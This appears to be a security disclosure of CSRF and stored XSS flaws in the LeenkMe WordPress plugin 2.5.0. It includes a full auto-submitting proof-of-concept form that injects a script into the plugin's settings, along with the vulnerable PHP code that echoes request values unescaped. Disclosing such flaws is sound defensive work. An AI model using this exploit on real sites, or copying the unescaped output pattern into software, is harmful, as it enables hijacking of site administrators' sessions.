扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 |
I would like to disclose CSRF and stored XSS vulnerability in WordPress plugin LeenkMe version 2.5.0. The plugin can be found at https://wordpress.org/plugins/leenkme/ In the page wp-content/plugins/leenkme/facebook.php XSS vulnerable Fields are : - facebook_message - facebook_linkname - facebook_caption - facebook_description - default_image - _wp_http_referer This CSRF is tested on latest wordpress installation 4.4.2 using firefox browser. The Code for CSRF.html is <html> <body onload="document.forms['xss'].submit()" > <form name="xss" action=" http://127.0.0.1/wp/wp-admin/admin.php?page=leenkme_facebook" method="POST"> <input type="hidden" name="facebook_profile" value="on" /> <input type="hidden" name="fb_publish_wpnonce" value="" /> <input type="hidden" name="_wp_http_referer" value="XSS" /> <input type="hidden" name="facebook_message" value="XSS" /> <input type="hidden" name="facebook_linkname" value="XSS" /> <input type="hidden" name="facebook_caption" value="XSS" /> <input type="hidden" name="facebook_description" value=" </textarea><script>prompt();</script>" /> <input type="hidden" name="default_image" value="XSS" /> <input type="hidden" name="message_preference" value="author" /> <input type="hidden" name="clude" value="in" /> <input type="hidden" name="publish_cats[]" value="0" /> <input type="hidden" name="update_facebook_settings" value="Save Settings" /> <input type="submit" value="Submit form" /> </form> </body> </html> The vulnerable page is wp-content/plugins/leenkme/facebook.php The vulnerable code producing XSS is if ( !empty( $_REQUEST['facebook_message'] ) ) $user_settings['facebook_message'] = $_REQUEST['facebook_message']; else $user_settings['facebook_message'] = ''; if ( !empty( $_REQUEST['facebook_linkname'] ) ) $user_settings['facebook_linkname'] = $_REQUEST['facebook_linkname']; else $user_settings['facebook_linkname'] = ''; if ( !empty( $_REQUEST['facebook_caption'] ) ) $user_settings['facebook_caption'] = $_REQUEST['facebook_caption']; else $user_settings['facebook_caption'] = ''; if ( !empty( $_REQUEST['facebook_description'] ) ) $user_settings['facebook_description'] = $_REQUEST['facebook_description']; ------------------------- ------------------------- ------------------------- snip ------------------------ ------------------------- -------------------------- <td><textarea name="facebook_message" style="width: 500px;" maxlength="400"><?php echo $user_settings['facebook_message']; ?></textarea></td> </tr> <tr> <td><?php _e( 'Default Link Name:', 'leenkme' ); ?></td> <td><input name="facebook_linkname" type="text" style="width: 500px;" value="<?php echo $user_settings['facebook_linkname']; ?>"maxlength="100"/></td> </tr> <tr> <td><?php _e( 'Default Caption:', 'leenkme' ); ?></td> <td><input name="facebook_caption" type="text" style="width: 500px;" value="<?php echo $user_settings['facebook_caption']; ?>" maxlength="100"/></td> </tr> <tr> <td style='vertical-align: top; padding-top: 5px;'><?php _e( 'Default Description:', 'leenkme' ); ?></td> <td><textarea name="facebook_description" style="width: 500px;" maxlength="300"><?php echo $user_settings['facebook_description']; ?></textarea></td> The code used to protect against CSRF that is the anti csrf token used is <?php wp_nonce_field( 'fb_publish', 'fb_publish_wpnonce' ); ?> But this code is not protecting against the CSRF, the form get submitted successfully with out any error even though the fb_publish_wpnonce is kept empty resulting in CSRF vulnerability. # Author email: cor3sm4sh3r[at]gmail.com # Contact: https://in.linkedin.com/in/cor3sm4sh3r # Twitter: https://twitter.com/cor3sm4sh3r |
体验盒子
